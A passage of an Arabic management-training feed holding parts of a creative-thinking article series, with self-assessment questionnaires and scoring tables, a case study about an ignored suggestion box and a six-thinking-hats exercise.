37 يعتريني القلق والتوتر الشديدين عندما أواجه مشكلة في العمل 1 2 3 4 5
38 أصر على تجاوز الصعوبات والعقبات التي تعترض تحقيق أهدافي 5 4 3 2 1
39 تحدد اللوائح والتعليمات في مؤسستنا دور كل فرد بشكل مفصل ودقيق 1 2 3 4 5
40 أضحي براحتى في سبيل الوصول إلى أهدافي 5 4 3 2 1
41 أخشى أن أفقد وظيفتي إذا حدث تغيير في المؤسسة 1 2 3 4 5
42 تحترم إدارة مؤسستنا وتقدر الدور الذي أقوم به فيها 5 4 3 2 1
43 أشعر بأنني في الوظيفة التي تتفق مع قدراتي وميولي 5 4 3 2 1
44 تعمل مؤسستنا على تنمية ملكة الإبتكارلدى العاملين بأساليب عديدة 5 4 3 2 1
45 أفجر بانتمائي لمؤسستي ولدى ولاء كبير لها 5 4 3 2 1
46 تطبيق مؤسستنا نظام فعال تحفيز العاملين على الابتكار والتطوير 5 4 3 2 1
47 يحرص مجتمعنا على الانفتاح العلمي على خبرات العالم المتقدم 5 4 3 2 1
48 يسود في مجتمعنا قيم الانضباط الذاتي والعمل الشاق 5 4 3 2 1
49 يفتقر مجتمعنا إلى القيادات الإدارية الفعالة المؤمنة بالتجديد والابتكار 1 2 3 4 5
50 يؤمن أفراد مجتمعنا بفكرة الابتكار الاجتماعي 5 4 3 2 1

 

 *   *   *

انتهت بحمد الله المقالة التاسعة لمسار كيم التعليمى للتفكير الإبداعي

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – التفكير الإبداعي-بقلم أ.د / صبرى شحاتة – المقالة التاسعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/creative-thinking-09/feed/ 0 سلسلة مقالات – التفكير الإبداعي-بقلم أ.د / صبرى شحاتة – المقالة الثامنة https://cameknowledge.camecenter.com/articles/creative-thinking-08/ https://cameknowledge.camecenter.com/articles/creative-thinking-08/#respond Sat, 01 Apr 2023 12:22:10 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10298 سلسلة مقالات -التفكير الابداعي  بقلم أ.د / صبرى شحاتة المقالة الثامنة سابعاً : المخاطرة واتخاذ القرارات . المخاطرة : قرار يتم اتخاذه الآن بالإقلاع عن شيء معين للحصول على شيء ما آخر له قيمة أعظم مستقبلاً بعد دراسة للمعلومات المتاحة ، فمتخذ القرار يمتلك معلومات مفيدة ولكنه سيظل غير قادر على التنبؤ بها بدقة المخاطر: […]

The post سلسلة مقالات – التفكير الإبداعي-بقلم أ.د / صبرى شحاتة – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات -التفكير الابداعي 

بقلم أ.د / صبرى شحاتة

المقالة الثامنة

سابعاً : المخاطرة واتخاذ القرارات .

المخاطرة : قرار يتم اتخاذه الآن بالإقلاع عن شيء معين للحصول على شيء ما آخر له قيمة أعظم مستقبلاً بعد دراسة للمعلومات المتاحة ، فمتخذ القرار يمتلك معلومات مفيدة ولكنه سيظل غير قادر على التنبؤ بها بدقة

المخاطر: هو شخص يقبل الدخول في مشاريع أو يضع نفسه في مواقف تتميز بأنها ذات عائد عال وكبير بالرغم من أن احتمالات نجاحها ضعيفة ، في حين لا يقبل الدخول في المشاريع أو المجالات التي تتميز بأن عائدها قليل مهما كانت احتمالات نجاحها مضمونة .

المغامرة : تعنى إلقاء الشخص بنفسه في الأمور المهلكة دون أي دراسة مسبقة تذكر في هذا الشأن .

 المجازفة: اتخاذ قرار معين دون عملية دراسة أو تحليل كافية لكافة جوانب الموقف .

 المحافظة : قرار يتم اتخاذه بالإحجام عن المخاطرة بعد دراسة قليلة للأحداث المحيطة .

  وتعتبر المخاطرة  جزءاً لا يتجزأ من نظريات اتخاذ القرار ، نظرا لارتباط أفضل البدائل المطروحة والذي يتم اختياره بالمستقبل . وهذا المستقبل – غالبا – يتسم بكونه يختلف من حيث درجة المخاطرة أكثر من كونه مؤكداً أو غامضا .

وتصنف إستراتيجيات الاختيار من بين البدائل في ضوء الدراسة والتحليل –والتي تتم لكافة جوانب الموقف محل اتخاذ القرار- واتخاذ قرار بتنفيذ أفضل البدائل على النحو التالي :

1- أن متخذ القرار الذي يتصف بالمحافظة هو الذي يتميز بالدراسة والتحليل القليل لجوانب الموقف ، والفعل القليل .

2- أن متخذ القرار الذي يتصف بالمجازفة هو الذي يتميز بالتحليل القليل ، والعمل الكثير .

3- أن المتجنب هو الشخص الذي يتميز بالتحليل الكثير والفعل القليل .

4- أن المخاطر هو الشخص الذي يتميز بالتحليل الكثير والفعل الكثير أيضا .

 

إقرأ كل عبارة من العبارات الآتية بدقة، ثم ضع دائرة حول الدرجة التي تتفق مع رأيك أو سلوكك ….

م العبارة لا نادراً أحياناً غالباً دائماً
1

2

 

3

4

5

 

6

7

 

8

 

9

 

10

11

 

12

 

13

 

14

 

15

16

 

17

18

 

19

 

20

21

22

 

23

24

 

25

 

26

 

27

 

28

 

29

 

30

 أثق في نفسي وقدراتي على تحقيق الأهداف أخجل من توجيه أسئلة للآخرين لأتعرف على أشياء لا أعرفها

أسارع فوراً بتحديد أي مشكلة تواجهني

أستطيع أن أوفق بين الأشياء الغريبة

أستطيع أن أكتشف أوجه القصور والضعف في الأشياء التي حولي

أؤمن بأن الأفكار الجيدة تجئ على مهل

أحاول إيجاد حلول لأكثر من مشكلة في ذات الوقت

يصعب على تصديق أن الأفكار الجديدة تستدعي بعضها بعضاً

أفرق بين ما يمكن التحكم فيه وما لا يمكن التحكم فيه عند تحديد أسباب المشكلة.

أجمع أكبر قدر من البيانات لتحديد المشكلة

أعطي عقلي فرصة للإسترخاء عندا أصاب بالإجهاد والتعب

أحب الأعمال والمهام التي فيها تحدة لقدراتي ولإمكاناتي

أستمر في العمل لأطول فترة ممكنة أملاً في الوصول إلى حل مبتكر

يساعدني إلهامي الداخلي على التوصل إلى أفكار عديدة متنوعة

أنظر إلى الأشياء من زوايا عديدة

يساعدني إلهامي الداخلي على التوصل إلى أفكار جديدة

أعطى للفكرة الجيدة وقتاً كافياً لكي تختمر

اضع معايير دقيقة للحكم على مدى حداثة أفكاري.

أرى أن المشاكل التي أتعرض لها أكبر من قدراتي

أهتم بتوليد أكبر عدد من الأفكار الجديدة

أهتم كثيراً بتقليد الآخرين من حولي

أمتلك القدرة على تطوير أفكاري لأكثر من مجال

أؤمن تماماً بأن “من فات قديمه تاه”

أهتم كثيراً بالإنجازات ولا يهمني تعاطف الآخرين

أتردد كثيراً في عرض أفكاري عندما تكون غريبة

يساعدني خيالي الواسع على تصور الأشياء في أشكال جديدة

أحرص تماماً على الإلتزام باللوائح والتعليمات والتوجيهات

أتفادى تعرض أفكاري الجديدة للتقييم بمجرد نشأتها

أركز على التفاصيل داخل الإطار العام للموضوع

أنفتح على كل ما هو جديد وغير عادي وأسعى لتجربته

 

          

سجل في الجداول التالية – الدرجة التي أعطيتها لكل عبارة

الحساسية للمشكلات
المسلسل الدرجة
2

3

5

7

9

10

  
المجموع  

             

 
الطلاقة
المسلسل الدرجة
4

8

14

20

25

28

  
المجموع  

             

 
الأصالة
المسلسل الدرجة
6

16

18

21

23

24

  
المجموع  

             

 

                                                                                                                                                  

                                                                                                                                                                               

 

المثابرة
المسلسل الدرجة
1

11

12

13

17

19

  
المجموع  

             

 
المرونة
المسلسل الدرجة
15

22

26

27

29

30

  
المجموع  

             

 

 

وضح رأيك في السمات التي يتصف بها المبدع بوضع علامة(     ) أمام الخانة التي تعبر عن وجهة نظرك :

م العبارات موافق غير محدد غير موافق
1 تبد عليه الثقة في قدرته على تنفيذ ما يريد      
2 لا يتبع الأساليب الروتينية في أعماله ولا يحب الروتين      
3 مثابر فلا يستسلم بسهولة      
4 يتخلى عن رأيه بسهولة      
5 يضطرب إزاء ما يواجهه من مشكلات      
6 لا يميل إلى إيجاد أكثر من حل واحد للمشكلة      
7 يكره العمل في مواقف تحكمها قواعد وتنظيمات صارمة      
8 لا يهتم بالأشياء التي تحتمل الشك ولا يمكن التنبؤ بها      
9 يملك القدرة الكبيرة على تحمل المسئولية      
10 يبادر بالعمل ومستعد لبذل الجهد      
11 قادر على فهم دوافع الآخرين      
12 قادر على تنظيم العمل بإستمرار      
13 واسع الأفق      
14 دائم التساؤل      
15 متعدد الميول والاهتمامات      
16 لا يميل إلى التع7صب أو التحامل سواء بالنسبة للآخرين أو بالنسبة لرأي ما      
17 لا يملك درجة معقولة من الإتزان الإنفعالي      
18 لا يتكيف (غالباً) بسهولة مع الجماعة فهو لا يسايرها      
19 لا يملك القدرة على التحايل والاستدلال      
20 يتوقف أحياناً عن حل المشكلات ولكنه لا يتوقف عن التفكير فيها      

             
21 لا يقترح أفكاراً قد يعتبرها الآخرون غير معقولة      
22 يستخدم طرقا غير مألوف لدى الآخرين في إنجاز ما يكلف به من أعمال      
23 لا يميل للعمل بمفرده      
24 تلقى أفكاره تجاهلا أو معارضة أو سخرية من بعض زملائه      
25 تبدو عليه الرغبة في التفوق الأكاديمي      
26 يتساءل عن تطبيقات النظريات والمبادئ القائمة      
27 يزود جماعته بأفكار جديدة تحتاج إليها في كل ما يواجهها من مشكلات      
28 يفضل التنافس والتحدي على التعاون والمسايرة      
29 يدرك الأشياء كما لا يدركها الآخرون      
30 لا يربط بين خبراته السابقة وما يكتسبه من خبرات جديدة      
31 يجب التمعن في الأفكار الجديدة      
32 يتلقى أوامر من يفوقه بالتساؤل      
33 لا يقاوم تدخل الآخرين في شئونه      
34 يمتلك درجة عالية من الذكاء      
35 غير مرح      
36 واسع الخيال      
37 إيجابي كثير التفاؤل      
38 يجب التغيير والتجديد      
39 لا يحب المحاكاة أو التقليد الأعمى      
40 شجاع مقدام لا يهاب ولا يتراجع      
41 حازم غير متردد      
42 يحب المجازفة والمخاطرة      
43 لديه الاستعداد لحل المشكلات مهما كانت معقدة      
44 يحب التجريب والمحاولة      
45 يفضل التأمل والتفكير على اللغو الثرثرة      

         

سجل في الجداول التالية – الدرجة التي أعطيتها لكل عبارة من عبارات الاستقصاء

المعوقات الإنفعالية
المسلسل الدرجة
3

4

15

16

31

33

34

36

37

40

  
مجموع الدرجات  

               

 
المعوقات العقلية
المسلسل الدرجة
3

7

8

10

13

14

20

21

22

25

  
مجموع الدرجات  

               

 

                                    

 

معوقات الدافعية
المسلسل الدرجة
5

17

18

32

38

40

42

43

45

46

  
مجموع الدرجات  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

                                     

المعوقات التنظيمية
المسلسل الدرجة
1

11

12

23

26

27

30

35

39

44

  
مجموع الدرجات  

             

 
المعوقات البيئية
المسلسل الدرجة
6

9

19

24

28

29

47

48

49

50

  
مجموع الدرجات  

             

 

 

 

حالة عملية

بئر النسيان

 

كان المهندس مناع رئيس قطاع تصنيع المعدات بشركة جيكون للنحاس يسرع في كل اجتماع يعقده مع مرؤوسيه من مديري الإدارات التابعة للقطاع الذي يرأسه في إظهار حرصه واهتمامه الشديدين بإحداث التغيير والابتكار والتطوير ويطالب كل العاملين معه بأن يخرجوا عن نمط ” العامل الآلة” أو العامل “الترس” الذي يعمل دون انقطاع ولكن دون تفكير ، وكان يحثهم على الإيجابية ويدفعهم للتفكير والمبادرة والاستمتاع بالجديد في ألداء .

ومن أجل توسيع الفرص أمام العاملين معه في القطاع لإبداء مقترحاتهم الجديدة وطرح أفكارهم الخلاقة بادر بإقامة صندوق مقترحات للعاملين، وذكر وهو يصنع الصندوق في مكانه أمام جمع من العاملين معه أن العاملين يعدون مصدراً عظيماً للأفكار وأن الأخذ المتزايد بأفكارهم يؤدي إلى زيادة في إلتزامهم وتعاونهم وولائهم للشركة .

ومرت الأسابيع والشهور ولم يتذكر المهندس مناع أن يفتح صندوق إقتراحات العاملين أو يطلع على إقتراحاتهم، وعندما حوصر بأسئلة العاملين معه حول أسباب عدم قيامه بالإطلاع على مقترحاتهم ذكر لهم بأن ملء الوعاء عن أخرة لا يتم بين عشية وضحاها، فهو يحتاج إلى إستمرار التنقيط والمحافظة على كل نقطة تضاف للوعاء للإستفادة به في الوقت المناسب، وشعر العاملون بأنهم قد ألقوا مقترحاتهم في “بئر النسيان” وأصبح الصندوق آنذاك شاهدا للعاملين على أن المهندس مناع لا يتقن من صنوف الإتصال إلا التظاهر بالإستماع !!

أسئلة :

  1. ما رأيك في أسلوب تعامل مناع مع مقترحات العاملين ؟
  2. ما هي التداعيات والآثار الناتجة عن سلوك مناع بالنسبة للعاملين معه ؟

 

بين أي لون من القبعات يرتديها المتحدث عندما يقول ما يلي :

الرقم العبارة لون القبعة
1 أعطني الدرجات الخاصة بالتلاميذ الذين تكرر رسوبهم في اللغة الإنجليزية خلال السنتين الماضيتين  
2 أعتقد أن هناك خطأ، حيث أن نسبة الإصابة في القطاع النفطي أكثر من هذا بنسبة 5%  
3 سمعت من أحد الزملاء أن المدير العام يفضل الإهتمام بموظفي العلاقات العامة على باقي موظفي المؤسسة  
4 لا تسألني عن السبب ، فإنني لا أحبذ تلك الصفقة  
5 إنني لا أود مقابلته لإحساسي بأن قوته قد تزايدت  
6 إنني اعرف أن هذا المحاضر مشغول ويتقاضى أتعاباً عالية، ولكن سنتصل به فقد يوافق ولن نخسر شيئاً  
7 إن الأسعار ستنخفض بشدة بعد الإنتهاء من حالة الترقب للحرب في الوقت الحالي  
8 كل ما تقوله هذا مجرد إفتراض  
9 ماذا لو جعلنا إطارات السيارات مربعة  
10 هذا ليس هو التفسير الوحيد الممكن لما حدث  
11 إنني لا أعتقد أن خفض الأسعار سيزيد من مبيعاتنا  
12 إنني أرى خطورة في الإستمرار في تدريس هذا المنهج بدون تغيير  
13 هل هذه الفكرة قانونية ؟  
14 أعتقد أن مدير الإدارة لن يأخذ بوجهة نظرنا  
15 إن هذه المراجعة السريعة للمادة ستحقق نسبة نجاح 100%  

 

بين أي لون من القبعات يرتديها المتحدث عندما يقول ما يلي :

الرقم العبارة لون القبعة
16 هناك آراء كثيرة لتعيين حالة الملاعب، ولكن كيف يمكن إختبار سلامة هذه الأفكار ؟  
17 دعونا نركز على ما يريده كل منا مناقشة هذا الموضوع بالضبط  
18 إن نصف الكوب ليس فارغا ولكن نصفه الآخر هو الممتليء  
19 ليس هناك مجال لعدم التأكد ، فالموقف واضح  
20 سنحاول إيجاد بعض الأفكار لحل هذه المشكلة  
21 إنني أريد أن أقترح أسلوباً آخر لزيادة عدد الطلبة المتفوقين  
22 إن هذا المنتج لا يناسب الغرض الذي صمم من أجله  
23 لماذا لا يضع كل موظف شريطاً أحمراً على ذراعه إذا كان غير مستعد للعمل بكفاءة خلال اليوم؟  
24 إنني لن أقوم بتدريب هذه المجموعة حيث أرى أنني لن أنجح معهم  
25 أعتقد أن هذه ليست النظرية الصحيحة، فهي معقدة ومتشعبة  
26 هذا موقف غير عادي، فمن أين نبدأ؟وماذا نناقش؟  
27 هذه هي، أستمر في هذا الإتجاه  
28 دعنا نلخص ما إنتهينا إليه حتى الآن  
29 هل نوافق جميعاً على تلك الخلاصة؟  
30 إنني آسف ،هذا التفكير أسود وغير مناسب حاليا  

 

 

 *   *   *

انتهت بحمد الله المقالة الثامنة لمسار كيم التعليمى للتفكير الإبداعي

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – التفكير الإبداعي-بقلم أ.د / صبرى شحاتة – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/creative-thinking-08/feed/ 0